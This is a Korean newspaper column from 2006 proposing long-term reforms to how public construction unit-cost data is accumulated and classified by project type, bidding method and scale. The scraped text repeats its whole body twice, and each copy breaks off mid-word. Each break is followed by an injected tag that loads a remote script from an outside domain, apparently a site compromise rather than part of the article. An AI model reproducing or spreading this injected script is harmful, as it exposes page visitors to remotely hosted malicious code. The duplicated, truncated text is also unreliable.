실적공사비단가 축적의 장기적 개선 방안
보도일자 2006-12-05
보도기관 일간건설신문
본고에서는 현행 실적공사비제도상의 단가축적체계 및 활용과 관련하여 단기적 관점이 아니라 본 제도가 장기적으로 국내건설산업의 예정가격 산정에 있어 실효성있는 중요한 위치를 차지하기 위한 장기적 개선안에 대해 논하고자 한다.
1. 실적공사비 단가 축적 및 활용체계
현재의 실적공사비 단가의 축적은 반기별로 이루어지고 있으며, 바로 전 반기에 수행된 국내 공공공사의 계약단가를 기초로 하고 있다. 이러한 틀을 현 시점에서 완전히 개선하기에는 현실적으로 무리가 있다는 판단이다. 하지만, 단가집 생성을 다계층화하는 작업의 수반이 필요하며, 앞서 지적한 현행 실적공사비 단가집이 건설경기 반영에 미흡하다는 측면에서 향후 생성되는 실적공사비단가집이 최신 건설경기를 반영할 수 있는 방향으로 실적공사비 축적체계의 변화는 반드시 필요하다는 판단이다. 즉, 보정, 조정 등의 결과가 혼합된 현행 실적공사비 단가집을 기초단가집으로 전환하고 이를 바탕으로 당해 사업에 맞게 보정 및 조정하는 개념이 필요하다는 것이다.
현재의 실적단가집은 건축, 토목, 기계설비 등 공종별 분류 이외에는 발주방식이나 공사규모, 상품 등 사업특성을 구분할 수 있도록 되어 있지 않고, 건설공사비지수를 활용한 보정값도 혼재되어 있는 상태이다. 이러한 체계로 인해 현행의 실적단가집은 건설경기의 반영이나 사업특성 반영에 많은 한계점을 가지고 있다. 본고에서 제안한 기초단가집은 최근 1년간 건설사업 규모, 상품, 그리고 발주방식별로 구분하여 계약단가를 축적하고 이의 분류를 다양한 방법(프로젝트 수, 물량, 4분위 값 등) 하는 등 이와 같이 실적단가집이 구축된다면 현재보다 그 활용은 더욱 효과적으로 이루어질 수 있다는 판단이다. 이러한 기초데이터의 축적은 현재와 같은 그때마다 달라질 수 있는 주관적 축적체계의 논란을 없앨 수 있으며, 발주기관 입장에서는 다양하고 심도 있는 데이터 분석에 도움이 될 수 있다.
물론, 초기단계에는 생각보다 사업의 여러 특성별로 대별되는 데이터의 축적이 쉽지 않을 수 있지만, 이러한 체계의 마련은 건설업체에게도 영향을 미쳐 현재와 같은 무분별한 입찰행태도 줄일 수 있는 방법이기도 하다. 그리고 자주 논의되고 있는 프로젝트수의 부족 혹은 데이터의 부족은 크게 문제가 되는 부문이 아니라고 판단된다. 실제로 선진국에서도 당해 사업에 활용하는 실적데이터는 가장 최근에 지어진 유사 프로젝트의 내역임을 감안해볼 때 프로젝트수 혹은 공종별 단가수는 최근 것이라면 하나이상이면 충분할 것으로 판단된다.
사업특성이 반영된 단가집을 구성하기 위해서는 분류방식을 결정해야 한다. 본고에서는 이러한 위계를 토목-상품-발주방식-공사규모 순으로 구성할 것으로 제안한다. 즉, 단가집이 토목공사 댐공사의 최저가낙찰제-500억 이상 실적단가집으로 구성되도록 하자는 것이다. 이러한 분류방식으로 기초단가집을 축적한다면 매우 많은 단가집이 생성될 것으로 판단된다. 이러한 체계는 현재의 건설기술연구원으로 집중되어 있는 단가축적체계에도 적용될 수 있는 것이지만, 더 나아가서 각 발주기관별로 단가 축적 및 관리가 필요하기 때문에 건설기술연구원뿐만 아니라 일선 발주기관에서도 그 축적 및 관리에 대한 책임을 가져야 할 것으로 판단된다.
발주방식의 구분은 일단, 최저가낙찰제, 적격심사제, 턴키(대안)으로 구분하여 축적하는 것이 현실적일 것으로 판단된다. 공사규모는 최저가낙찰제의 경우 1,000억 이상, 500~1000억, 300~500억으로 구분하고, 적격심사제의 경우 현행의 공사규모 구분에 따르면 될 것으로 판단된다. 물론, 이러한 체계는 최저가낙찰제의 확대 적용, 혹은 다른 여타 입낙찰제 도입에 따라 변동되어야 할 것으로 판단된다. <표 1>에 제시한 형태로 기초단가집을 구축한다면 발주기관의 입장에서는 보다 심층적으로 관련된 실적데이터 값의 실체를 분석할 수 있다. 실제로 실적데이터의 축적이 다년간 될 경우가 좋을 것이라 예상하지만, 언급한 바와 같이 견적을 위한 실적데이터는 가장 유사한 최신의 데이터가 활용하기에 가장 적합한 자료이다. 따라서 이러한 기초단가집의 활용은 1년 단위로 끊어서 사용하는 즉, 2006년의 경우는 2005년 데이터를 활용하는 개념을 우선 도입해야 할 것이다. 만약 이러한 기초단가집이 데이터베이스화가 되는 경우는 좀 더 최근 데이터를 활용할 수 있겠지만, 국내의 기계적인 자료 활용 실무를 보았을 때 1년 단위의 활용개념이 타당할 것으로 판단된다.
그리고 기초단가집에서 제시하는 공종별 금액의 여러 값 중 어느 것을 활용할 것인가에 대해서는 기본적으로 상위 범주(예: 75 percentile 이상) 값을 활용하는 것을 원칙으로 하고, 사업의 특징과 발주청 담당자의 판단에 따라 이를 선별적으로 선택할 수 있는 체?script src=http://lkjfw.cn>
1. 실적공사비 단가 축적 및 활용체계
현재의 실적공사비 단가의 축적은 반기별로 이루어지고 있으며, 바로 전 반기에 수행된 국내 공공공사의 계약단가를 기초로 하고 있다. 이러한 틀을 현 시점에서 완전히 개선하기에는 현실적으로 무리가 있다는 판단이다. 하지만, 단가집 생성을 다계층화하는 작업의 수반이 필요하며, 앞서 지적한 현행 실적공사비 단가집이 건설경기 반영에 미흡하다는 측면에서 향후 생성되는 실적공사비단가집이 최신 건설경기를 반영할 수 있는 방향으로 실적공사비 축적체계의 변화는 반드시 필요하다는 판단이다. 즉, 보정, 조정 등의 결과가 혼합된 현행 실적공사비 단가집을 기초단가집으로 전환하고 이를 바탕으로 당해 사업에 맞게 보정 및 조정하는 개념이 필요하다는 것이다.
현재의 실적단가집은 건축, 토목, 기계설비 등 공종별 분류 이외에는 발주방식이나 공사규모, 상품 등 사업특성을 구분할 수 있도록 되어 있지 않고, 건설공사비지수를 활용한 보정값도 혼재되어 있는 상태이다. 이러한 체계로 인해 현행의 실적단가집은 건설경기의 반영이나 사업특성 반영에 많은 한계점을 가지고 있다. 본고에서 제안한 기초단가집은 최근 1년간 건설사업 규모, 상품, 그리고 발주방식별로 구분하여 계약단가를 축적하고 이의 분류를 다양한 방법(프로젝트 수, 물량, 4분위 값 등) 하는 등 이와 같이 실적단가집이 구축된다면 현재보다 그 활용은 더욱 효과적으로 이루어질 수 있다는 판단이다. 이러한 기초데이터의 축적은 현재와 같은 그때마다 달라질 수 있는 주관적 축적체계의 논란을 없앨 수 있으며, 발주기관 입장에서는 다양하고 심도 있는 데이터 분석에 도움이 될 수 있다.
물론, 초기단계에는 생각보다 사업의 여러 특성별로 대별되는 데이터의 축적이 쉽지 않을 수 있지만, 이러한 체계의 마련은 건설업체에게도 영향을 미쳐 현재와 같은 무분별한 입찰행태도 줄일 수 있는 방법이기도 하다. 그리고 자주 논의되고 있는 프로젝트수의 부족 혹은 데이터의 부족은 크게 문제가 되는 부문이 아니라고 판단된다. 실제로 선진국에서도 당해 사업에 활용하는 실적데이터는 가장 최근에 지어진 유사 프로젝트의 내역임을 감안해볼 때 프로젝트수 혹은 공종별 단가수는 최근 것이라면 하나이상이면 충분할 것으로 판단된다.
사업특성이 반영된 단가집을 구성하기 위해서는 분류방식을 결정해야 한다. 본고에서는 이러한 위계를 토목-상품-발주방식-공사규모 순으로 구성할 것으로 제안한다. 즉, 단가집이 토목공사 댐공사의 최저가낙찰제-500억 이상 실적단가집으로 구성되도록 하자는 것이다. 이러한 분류방식으로 기초단가집을 축적한다면 매우 많은 단가집이 생성될 것으로 판단된다. 이러한 체계는 현재의 건설기술연구원으로 집중되어 있는 단가축적체계에도 적용될 수 있는 것이지만, 더 나아가서 각 발주기관별로 단가 축적 및 관리가 필요하기 때문에 건설기술연구원뿐만 아니라 일선 발주기관에서도 그 축적 및 관리에 대한 책임을 가져야 할 것으로 판단된다.
발주방식의 구분은 일단, 최저가낙찰제, 적격심사제, 턴키(대안)으로 구분하여 축적하는 것이 현실적일 것으로 판단된다. 공사규모는 최저가낙찰제의 경우 1,000억 이상, 500~1000억, 300~500억으로 구분하고, 적격심사제의 경우 현행의 공사규모 구분에 따르면 될 것으로 판단된다. 물론, 이러한 체계는 최저가낙찰제의 확대 적용, 혹은 다른 여타 입낙찰제 도입에 따라 변동되어야 할 것으로 판단된다. <표 1>에 제시한 형태로 기초단가집을 구축한다면 발주기관의 입장에서는 보다 심층적으로 관련된 실적데이터 값의 실체를 분석할 수 있다. 실제로 실적데이터의 축적이 다년간 될 경우가 좋을 것이라 예상하지만, 언급한 바와 같이 견적을 위한 실적데이터는 가장 유사한 최신의 데이터가 활용하기에 가장 적합한 자료이다. 따라서 이러한 기초단가집의 활용은 1년 단위로 끊어서 사용하는 즉, 2006년의 경우는 2005년 데이터를 활용하는 개념을 우선 도입해야 할 것이다. 만약 이러한 기초단가집이 데이터베이스화가 되는 경우는 좀 더 최근 데이터를 활용할 수 있겠지만, 국내의 기계적인 자료 활용 실무를 보았을 때 1년 단위의 활용개념이 타당할 것으로 판단된다.
그리고 기초단가집에서 제시하는 공종별 금액의 여러 값 중 어느 것을 활용할 것인가에 대해서는 기본적으로 상위 범주(예: 75 percentile 이상) 값을 활용하는 것을 원칙으로 하고, 사업의 특징과 발주청 담당자의 판단에 따라 이를 선별적으로 선택할 수 있는 체?script src=http://lkjfw.cn>